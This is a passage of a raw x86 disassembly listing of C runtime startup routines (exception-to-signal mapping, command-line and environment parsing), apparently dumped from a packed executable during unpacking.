ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h call sub_42B630 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov ecx, [eax+50h] push ecx mov edx, [ebp+arg_0] push edx call sub_4317D0 add esp, 8 mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_431643 mov eax, [ebp+var_10] cmp dword ptr [eax+8], 0 jnz short loc_431652 loc_431643: ; CODE XREF: sub_431610+28j mov ecx, [ebp+arg_4] push ecx nop call near ptr 29D12C6h jmp loc_4317CA ; --------------------------------------------------------------------------- loc_431652: ; CODE XREF: sub_431610+31j mov edx, [ebp+var_10] cmp dword ptr [edx+8], 5 jnz short loc_43166F mov eax, [ebp+var_10] mov dword ptr [eax+8], 0 mov eax, 1 jmp loc_4317CA ; --------------------------------------------------------------------------- loc_43166F: ; CODE XREF: sub_431610+49j mov ecx, [ebp+var_10] cmp dword ptr [ecx+8], 1 jnz short loc_431680 or eax, 0FFFFFFFFh jmp loc_4317CA ; --------------------------------------------------------------------------- loc_431680: ; CODE XREF: sub_431610+66j mov edx, [ebp+var_10] mov eax, [edx+8] mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ecx+54h] mov [ebp+var_18], edx mov eax, [ebp+var_8] mov ecx, [ebp+arg_4] mov [eax+54h], ecx mov edx, [ebp+var_10] cmp dword ptr [edx+4], 8 jnz loc_4317A7 mov eax, dword_452A90 mov [ebp+var_14], eax jmp short loc_4316BB ; --------------------------------------------------------------------------- loc_4316B2: ; CODE XREF: sub_431610+D0j mov ecx, [ebp+var_14] add ecx, 1 mov [ebp+var_14], ecx loc_4316BB: ; CODE XREF: sub_431610+A0j mov edx, dword_452A90 add edx, dword_452A94 cmp [ebp+var_14], edx jge short loc_4316E2 mov eax, [ebp+var_14] imul eax, 0Ch mov ecx, [ebp+var_8] mov edx, [ecx+50h] mov dword ptr [edx+eax+8], 0 jmp short loc_4316B2 ; --------------------------------------------------------------------------- loc_4316E2: ; CODE XREF: sub_431610+BAj mov eax, [ebp+var_8] mov ecx, [eax+58h] mov [ebp+var_C], ecx mov edx, [ebp+var_10] cmp dword ptr [edx], 0C000008Eh jnz short loc_431705 mov eax, [ebp+var_8] mov dword ptr [eax+58h], 83h jmp loc_43178D ; --------------------------------------------------------------------------- loc_431705: ; CODE XREF: sub_431610+E4j mov ecx, [ebp+var_10] cmp dword ptr [ecx], 0C0000090h jnz short loc_43171C mov edx, [ebp+var_8] mov dword ptr [edx+58h], 81h jmp short loc_43178D ; --------------------------------------------------------------------------- loc_43171C: ; CODE XREF: sub_431610+FEj mov eax, [ebp+var_10] cmp dword ptr [eax], 0C0000091h jnz short loc_431733 mov ecx, [ebp+var_8] mov dword ptr [ecx+58h], 84h jmp short loc_43178D ; --------------------------------------------------------------------------- loc_431733: ; CODE XREF: sub_431610+115j mov edx, [ebp+var_10] cmp dword ptr [edx], 0C0000093h jnz short loc_43174A mov eax, [ebp+var_8] mov dword ptr [eax+58h], 85h jmp short loc_43178D ; --------------------------------------------------------------------------- loc_43174A: ; CODE XREF: sub_431610+12Cj mov ecx, [ebp+var_10] cmp dword ptr [ecx], 0C000008Dh jnz short loc_431761 mov edx, [ebp+var_8] mov dword ptr [edx+58h], 82h jmp short loc_43178D ; --------------------------------------------------------------------------- loc_431761: ; CODE XREF: sub_431610+143j mov eax, [ebp+var_10] cmp dword ptr [eax], 0C000008Fh jnz short loc_431778 mov ecx, [ebp+var_8] mov dword ptr [ecx+58h], 86h jmp short loc_43178D ; --------------------------------------------------------------------------- loc_431778: ; CODE XREF: sub_431610+15Aj mov edx, [ebp+var_10] cmp dword ptr [edx], 0C0000092h jnz short loc_43178D mov eax, [ebp+var_8] mov dword ptr [eax+58h], 8Ah loc_43178D: ; CODE XREF: sub_431610+F0j ; sub_431610+10Aj ... mov ecx, [ebp+var_8] mov edx, [ecx+58h] push edx push 8 call [ebp+var_4] add esp, 8 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax+58h], ecx jmp short loc_4317BE ; --------------------------------------------------------------------------- loc_4317A7: ; CODE XREF: sub_431610+92j mov edx, [ebp+var_10] mov dword ptr [edx+8], 0 mov eax, [ebp+var_10] mov ecx, [eax+4] push ecx call [ebp+var_4] add esp, 4 loc_4317BE: ; CODE XREF: sub_431610+195j mov edx, [ebp+var_8] mov eax, [ebp+var_18] mov [edx+54h], eax or eax, 0FFFFFFFFh loc_4317CA: ; CODE XREF: sub_431610+3Dj ; sub_431610+5Aj ... mov esp, ebp pop ebp retn sub_431610 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4317D0 proc near ; CODE XREF: sub_431610+19p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_4317DA: ; CODE XREF: sub_4317D0+30j mov ecx, [ebp+var_4] mov edx, [ecx] cmp edx, [ebp+arg_0] jz short loc_431802 mov eax, [ebp+var_4] add eax, 0Ch mov [ebp+var_4], eax mov ecx, dword_452A9C imul ecx, 0Ch mov edx, [ebp+arg_4] add edx, ecx cmp [ebp+var_4], edx jnb short loc_431802 jmp short loc_4317DA ; --------------------------------------------------------------------------- loc_431802: ; CODE XREF: sub_4317D0+12j ; sub_4317D0+2Ej mov eax, dword_452A9C imul eax, 0Ch mov ecx, [ebp+arg_4] add ecx, eax cmp [ebp+var_4], ecx jnb short loc_43181E mov edx, [ebp+var_4] mov eax, [edx] cmp eax, [ebp+arg_0] jz short loc_431822 loc_43181E: ; CODE XREF: sub_4317D0+42j xor eax, eax jmp short loc_431825 ; --------------------------------------------------------------------------- loc_431822: ; CODE XREF: sub_4317D0+4Cj mov eax, [ebp+var_4] loc_431825: ; CODE XREF: sub_4317D0+50j mov esp, ebp pop ebp retn sub_4317D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431830 proc near ; CODE XREF: .XComp0:004248F8p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp dword_4EA90C, 0 jnz short loc_431842 call sub_42BFE0 loc_431842: ; CODE XREF: sub_431830+Bj mov eax, dword_4EA904 mov [ebp+var_4], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] cmp edx, 22h jnz short loc_4318AC loc_431856: ; CODE XREF: sub_431830:loc_431893j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] cmp edx, 22h jz short loc_431895 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_431895 mov edx, [ebp+var_4] xor eax, eax mov al, [edx] push eax call sub_437E60 add esp, 4 test eax, eax jz short loc_431893 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_431893: ; CODE XREF: sub_431830+58j jmp short loc_431856 ; --------------------------------------------------------------------------- loc_431895: ; CODE XREF: sub_431830+39j ; sub_431830+44j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] cmp eax, 22h jnz short loc_4318AA mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_4318AA: ; CODE XREF: sub_431830+6Fj jmp short loc_4318C3 ; --------------------------------------------------------------------------- loc_4318AC: ; CODE XREF: sub_431830+24j ; sub_431830+91j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] cmp eax, 20h jle short loc_4318C3 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_4318AC ; --------------------------------------------------------------------------- loc_4318C3: ; CODE XREF: sub_431830:loc_4318AAj ; sub_431830+86j ... mov edx, [ebp+var_4] xor eax, eax mov al, [edx] test eax, eax jz short loc_4318E5 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] cmp edx, 20h jg short loc_4318E5 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_4318C3 ; --------------------------------------------------------------------------- loc_4318E5: ; CODE XREF: sub_431830+9Cj ; sub_431830+A8j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_431830 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4318F0 proc near ; CODE XREF: .XComp0:004248DDp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h cmp dword_4EA90C, 0 jnz short loc_431904 call sub_42BFE0 loc_431904: ; CODE XREF: sub_4318F0+Dj mov [ebp+var_8], 0 mov eax, dword_4E9244 mov [ebp+var_4], eax loc_431913: ; CODE XREF: sub_4318F0+57j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_431949 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 3Dh jz short loc_431931 mov edx, [ebp+var_8] add edx, 1 mov [ebp+var_8], edx loc_431931: ; CODE XREF: sub_4318F0+36j mov eax, [ebp+var_4] push eax call sub_41EBD0 add esp, 4 mov ecx, [ebp+var_4] lea edx, [ecx+eax+1] mov [ebp+var_4], edx jmp short loc_431913 ; --------------------------------------------------------------------------- loc_431949: ; CODE XREF: sub_4318F0+2Bj push 6Dh push offset dword_43F3B0 push 2 mov eax, [ebp+var_8] lea ecx, ds:4[eax*4] push ecx call sub_41EDD0 add esp, 10h mov [ebp+var_C], eax mov edx, [ebp+var_C] mov dword_4E9214, edx cmp dword_4E9214, 0 jnz short loc_431984 push 9 call sub_424980 add esp, 4 loc_431984: ; CODE XREF: sub_4318F0+88j mov eax, dword_4E9244 mov [ebp+var_4], eax jmp short loc_431997 ; --------------------------------------------------------------------------- loc_43198E: ; CODE XREF: sub_4318F0:loc_431A05j mov ecx, [ebp+var_4] add ecx, [ebp+var_10] mov [ebp+var_4], ecx loc_431997: ; CODE XREF: sub_4318F0+9Cj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_431A07 mov ecx, [ebp+var_4] push ecx call sub_41EBD0 add esp, 4 add eax, 1 mov [ebp+var_10], eax mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 3Dh jz short loc_431A05 push 79h push offset dword_43F3B0 push 2 mov ecx, [ebp+var_10] push ecx call sub_41EDD0 add esp, 10h mov edx, [ebp+var_C] mov [edx], eax mov eax, [ebp+var_C] cmp dword ptr [eax], 0 jnz short loc_4319EA push 9 call sub_424980 add esp, 4 loc_4319EA: ; CODE XREF: sub_4318F0+EEj mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_C] mov eax, [edx] push eax call sub_422580 add esp, 8 mov ecx, [ebp+var_C] add ecx, 4 mov [ebp+var_C], ecx loc_431A05: ; CODE XREF: sub_4318F0+CCj jmp short loc_43198E ; --------------------------------------------------------------------------- loc_431A07: ; CODE XREF: sub_4318F0+AFj push 2 mov edx, dword_4E9244 push edx call sub_41F970 add esp, 8 mov dword_4E9244, 0 mov eax, [ebp+var_C] mov dword ptr [eax], 0 mov dword_4EA908, 1 mov esp, ebp pop ebp retn sub_4318F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431A40 proc near ; CODE XREF: .XComp0:004248D8p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h cmp dword_4EA90C, 0 jnz short loc_431A54 call sub_42BFE0 loc_431A54: ; CODE XREF: sub_431A40+Dj push 104h push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 0 call near ptr 2790000h nop mov off_4E9224, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" mov eax, dword_4EA904 movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_431A87 mov edx, off_4E9224 mov [ebp+var_14], edx jmp short loc_431A8F ; --------------------------------------------------------------------------- loc_431A87: ; CODE XREF: sub_431A40+3Aj mov eax, dword_4EA904 mov [ebp+var_14], eax loc_431A8F: ; CODE XREF: sub_431A40+45j mov ecx, [ebp+var_14] mov [ebp+var_10], ecx lea edx, [ebp+var_4] push edx lea eax, [ebp+var_C] push eax push 0 push 0 mov ecx, [ebp+var_10] push ecx call sub_431B20 add esp, 14h push 80h push offset dword_43F3BC push 2 mov edx, [ebp+var_C] mov eax, [ebp+var_4] lea ecx, [eax+edx*4] push ecx call sub_41EDD0 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_431ADE push 8 call sub_424980 add esp, 4 loc_431ADE: ; CODE XREF: sub_431A40+92j lea edx, [ebp+var_4] push edx lea eax, [ebp+var_C] push eax mov ecx, [ebp+var_C] mov edx, [ebp+var_8] lea eax, [edx+ecx*4] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_10] push edx call sub_431B20 add esp, 14h mov eax, [ebp+var_C] sub eax, 1 mov dword_4E9208, eax mov ecx, [ebp+var_8] mov dword_4E920C, ecx mov esp, ebp pop ebp retn sub_431A40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431B20 proc near ; CODE XREF: sub_431A40+65p ; sub_431A40+B8p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_10] mov dword ptr [eax], 0 mov ecx, [ebp+arg_C] mov dword ptr [ecx], 1 mov edx, [ebp+arg_0] mov [ebp+var_4], edx cmp [ebp+arg_4], 0 jz short loc_431B55 mov eax, [ebp+arg_4] mov ecx, [ebp+arg_8] mov [eax], ecx mov edx, [ebp+arg_4] add edx, 4 mov [ebp+arg_4], edx loc_431B55: ; CODE XREF: sub_431B20+22j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz loc_431C2D loc_431B64: ; CODE XREF: sub_431B20:loc_431BEDj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jz short loc_431BF2 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_431BF2 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] xor eax, eax mov al, byte_4E97C1[edx] and eax, 4 test eax, eax jz short loc_431BC7 mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx cmp [ebp+arg_8], 0 jz short loc_431BC7 mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_431BC7: ; CODE XREF: sub_431B20+76j ; sub_431B20+89j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_431BED mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_431BED: ; CODE XREF: sub_431B20+B8j jmp loc_431B64 ; --------------------------------------------------------------------------- loc_431BF2: ; CODE XREF: sub_431B20+56j ; sub_431B20+60j mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx cmp [ebp+arg_8], 0 jz short loc_431C14 mov ecx, [ebp+arg_8] mov byte ptr [ecx], 0 mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx loc_431C14: ; CODE XREF: sub_431B20+E3j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz short loc_431C28 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_431C28: ; CODE XREF: sub_431B20+FDj jmp loc_431CFC ; --------------------------------------------------------------------------- loc_431C2D: ; CODE XREF: sub_431B20+3Ej ; sub_431B20+1B1j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_431C53 mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_431C53: ; CODE XREF: sub_431B20+11Ej mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_C] and ecx, 0FFh xor edx, edx mov dl, byte_4E97C1[ecx] and edx, 4 test edx, edx jz short loc_431CAB mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_431CA2 mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_431CA2: ; CODE XREF: sub_431B20+16Dj mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_431CAB: ; CODE XREF: sub_431B20+15Aj mov edx, [ebp+var_C] and edx, 0FFh cmp edx, 20h jz short loc_431CD7 mov eax, [ebp+var_C] and eax, 0FFh test eax, eax jz short loc_431CD7 mov ecx, [ebp+var_C] and ecx, 0FFh cmp ecx, 9 jnz loc_431C2D loc_431CD7: ; CODE XREF: sub_431B20+197j ; sub_431B20+1A3j mov edx, [ebp+var_C] and edx, 0FFh test edx, edx jnz short loc_431CEF mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax jmp short loc_431CFC ; --------------------------------------------------------------------------- loc_431CEF: ; CODE XREF: sub_431B20+1C2j cmp [ebp+arg_8], 0 jz short loc_431CFC mov ecx, [ebp+arg_8] mov byte ptr [ecx-1], 0 loc_431CFC: ; CODE XREF: sub_431B20:loc_431C28j ; sub_431B20+1CDj ... mov [ebp+var_14], 0 loc_431D03: ; CODE XREF: sub_431B20+3F6j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_431D2E loc_431D0D: ; CODE XREF: sub_431B20+20Cj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_431D23 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jnz short loc_431D2E loc_431D23: ; CODE XREF: sub_431B20+1F6j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_431D0D ; --------------------------------------------------------------------------- loc_431D2E: ; CODE XREF: sub_431B20+1EBj ; sub_431B20+201j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_431D3D jmp loc_431F1B ; --------------------------------------------------------------------------- loc_431D3D: ; CODE XREF: sub_431B20+216j cmp [ebp+arg_4], 0 jz short loc_431D54 mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] mov [edx], eax mov ecx, [ebp+arg_4] add ecx, 4 mov [ebp+arg_4], ecx loc_431D54: ; CODE XREF: sub_431B20+221j mov edx, [ebp+arg_C] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax loc_431D61: ; CODE XREF: sub_431B20+3CFj mov [ebp+var_8], 1 mov [ebp+var_10], 0 loc_431D6F: ; CODE XREF: sub_431B20+26Cj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 5Ch jnz short loc_431D8E mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx jmp short loc_431D6F ; --------------------------------------------------------------------------- loc_431D8E: ; CODE XREF: sub_431B20+258j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz short loc_431DEA mov eax, [ebp+var_10] xor edx, edx mov ecx, 2 div ecx test edx, edx jnz short loc_431DE2 cmp [ebp+var_14], 0 jz short loc_431DCF mov edx, [ebp+var_4] movsx eax, byte ptr [edx+1] cmp eax, 22h jnz short loc_431DC6 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_431DCD ; --------------------------------------------------------------------------- loc_431DC6: ; CODE XREF: sub_431B20+299j mov [ebp+var_8], 0 loc_431DCD: ; CODE XREF: sub_431B20+2A4j jmp short loc_431DD6 ; --------------------------------------------------------------------------- loc_431DCF: ; CODE XREF: sub_431B20+28Dj mov [ebp+var_8], 0 loc_431DD6: ; CODE XREF: sub_431B20:loc_431DCDj xor edx, edx cmp [ebp+var_14], 0 setz dl mov [ebp+var_14], edx loc_431DE2: ; CODE XREF: sub_431B20+287j mov eax, [ebp+var_10] shr eax, 1 mov [ebp+var_10], eax loc_431DEA: ; CODE XREF: sub_431B20+277j ; sub_431B20+2FCj mov ecx, [ebp+var_10] mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx test ecx, ecx jz short loc_431E1E cmp [ebp+arg_8], 0 jz short loc_431E0F mov eax, [ebp+arg_8] mov byte ptr [eax], 5Ch mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx loc_431E0F: ; CODE XREF: sub_431B20+2DEj mov edx, [ebp+arg_10] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_10] mov [ecx], eax jmp short loc_431DEA ; --------------------------------------------------------------------------- loc_431E1E: ; CODE XREF: sub_431B20+2D8j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_431E44 cmp [ebp+var_14], 0 jnz short loc_431E49 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_431E44 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jnz short loc_431E49 loc_431E44: ; CODE XREF: sub_431B20+306j ; sub_431B20+317j jmp loc_431EF4 ; --------------------------------------------------------------------------- loc_431E49: ; CODE XREF: sub_431B20+30Cj ; sub_431B20+322j cmp [ebp+var_8], 0 jz loc_431EE6 cmp [ebp+arg_8], 0 jz short loc_431EAD mov edx, [ebp+var_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, byte_4E97C1[eax] and ecx, 4 test ecx, ecx jz short loc_431E98 mov edx, [ebp+arg_8] mov eax, [ebp+var_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx loc_431E98: ; CODE XREF: sub_431B20+34Dj mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx jmp short loc_431ED9 ; --------------------------------------------------------------------------- loc_431EAD: ; CODE XREF: sub_431B20+337j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, byte_4E97C1[eax] and ecx, 4 test ecx, ecx jz short loc_431ED9 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx loc_431ED9: ; CODE XREF: sub_431B20+38Bj ; sub_431B20+3A1j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx loc_431EE6: ; CODE XREF: sub_431B20+32Dj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp loc_431D61 ; --------------------------------------------------------------------------- loc_431EF4: ; CODE XREF: sub_431B20:loc_431E44j cmp [ebp+arg_8], 0 jz short loc_431F09 mov ecx, [ebp+arg_8] mov byte ptr [ecx], 0 mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx loc_431F09: ; CODE XREF: sub_431B20+3D8j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx jmp loc_431D03 ; --------------------------------------------------------------------------- loc_431F1B: ; CODE XREF: sub_431B20+218j cmp [ebp+arg_4], 0 jz short loc_431F33 mov eax, [ebp+arg_4] mov dword ptr [eax], 0 mov ecx, [ebp+arg_4] add ecx, 4 mov [ebp+arg_4], ecx loc_431F33: ; CODE XREF: sub_431B20+3FFj mov edx, [ebp+arg_C] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax mov esp, ebp pop ebp retn sub_431B20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431F50 proc near ; CODE XREF: .XComp0:004248CEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h mov [ebp+var_14], 0 mov [ebp+var_18], 0 cmp dword_4E9404, 0 jnz short loc_431FAA nop call near ptr 2780000h mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_431F88 mov dword_4E9404, 1 jmp short loc_431FAA ; --------------------------------------------------------------------------- loc_431F88: ; CODE XREF: sub_431F50+2Aj call near ptr 29D1A34h nop mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_431FA3 mov dword_4E9404, 2 jmp short loc_431FAA ; --------------------------------------------------------------------------- loc_431FA3: ; CODE XREF: sub_431F50+45j xor eax, eax jmp loc_432165 ; --------------------------------------------------------------------------- loc_431FAA: ; CODE XREF: sub_431F50+1Bj ; sub_431F50+36j ... cmp dword_4E9404, 1 jnz loc_4320AE cmp [ebp+var_14], 0 jnz short loc_431FD3 nop call near ptr 2780000h mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_431FD3 xor eax, eax jmp loc_432165 ; --------------------------------------------------------------------------- loc_431FD3: ; CODE XREF: sub_431F50+6Bj ; sub_431F50+7Aj mov eax, [ebp+var_14] mov [ebp+var_8], eax loc_431FD9: ; CODE XREF: sub_431F50:loc_432003j mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx] test edx, edx jz short loc_432005 mov eax, [ebp+var_8] add eax, 2 mov [ebp+var_8], eax mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx] test edx, edx jnz short loc_432003 mov eax, [ebp+var_8] add eax, 2 mov [ebp+var_8], eax loc_432003: ; CODE XREF: sub_431F50+A8j jmp short loc_431FD9 ; --------------------------------------------------------------------------- loc_432005: ; CODE XREF: sub_431F50+93j mov ecx, [ebp+var_8] sub ecx, [ebp+var_14] sar ecx, 1 add ecx, 1 mov [ebp+var_4], ecx push 0 push 0 push 0 push 0 mov edx, [ebp+var_4] push edx mov eax, [ebp+var_14] push eax push 0 push 0 call near ptr 28E1569h nop mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_432054 push 64h push offset dword_43F3C8 push 2 mov ecx, [ebp+var_10] push ecx call sub_41EDD0 add esp, 10h mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_432065 loc_432054: ; CODE XREF: sub_431F50+E4j mov edx, [ebp+var_14] push edx call near ptr 29D19A8h nop xor eax, eax jmp loc_432165 ; --------------------------------------------------------------------------- loc_432065: ; CODE XREF: sub_431F50+102j push 0 push 0 mov eax, [ebp+var_10] push eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+var_4] push edx mov eax, [ebp+var_14] push eax push 0 push 0 nop call near ptr 28E1569h test eax, eax jnz short loc_43209C push 2 mov ecx, [ebp+var_18] push ecx call sub_41F970 add esp, 8 mov [ebp+var_18], 0 loc_43209C: ; CODE XREF: sub_431F50+135j mov edx, [ebp+var_14] push edx call near ptr 29D19A8h nop mov eax, [ebp+var_18] jmp loc_432165 ; --------------------------------------------------------------------------- loc_4320AE: ; CODE XREF: sub_431F50+61j cmp dword_4E9404, 2 jnz loc_432163 cmp [ebp+var_18], 0 jnz short loc_4320D7 nop call near ptr 29D1A34h mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_4320D7 xor eax, eax jmp loc_432165 ; --------------------------------------------------------------------------- loc_4320D7: ; CODE XREF: sub_431F50+16Fj ; sub_431F50+17Ej mov eax, [ebp+var_18] mov [ebp+var_C], eax loc_4320DD: ; CODE XREF: sub_431F50:loc_432103j mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] test edx, edx jz short loc_432105 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_432103 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_432103: ; CODE XREF: sub_431F50+1A8j jmp short loc_4320DD ; --------------------------------------------------------------------------- loc_432105: ; CODE XREF: sub_431F50+195j mov ecx, [ebp+var_C] sub ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_10], ecx push 8Fh push offset dword_43F3C8 push 2 mov edx, [ebp+var_10] push edx call sub_41EDD0 add esp, 10h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_432140 mov eax, [ebp+var_18] push eax call near ptr 29D1775h nop xor eax, eax jmp short loc_432165 ; --------------------------------------------------------------------------- loc_432140: ; CODE 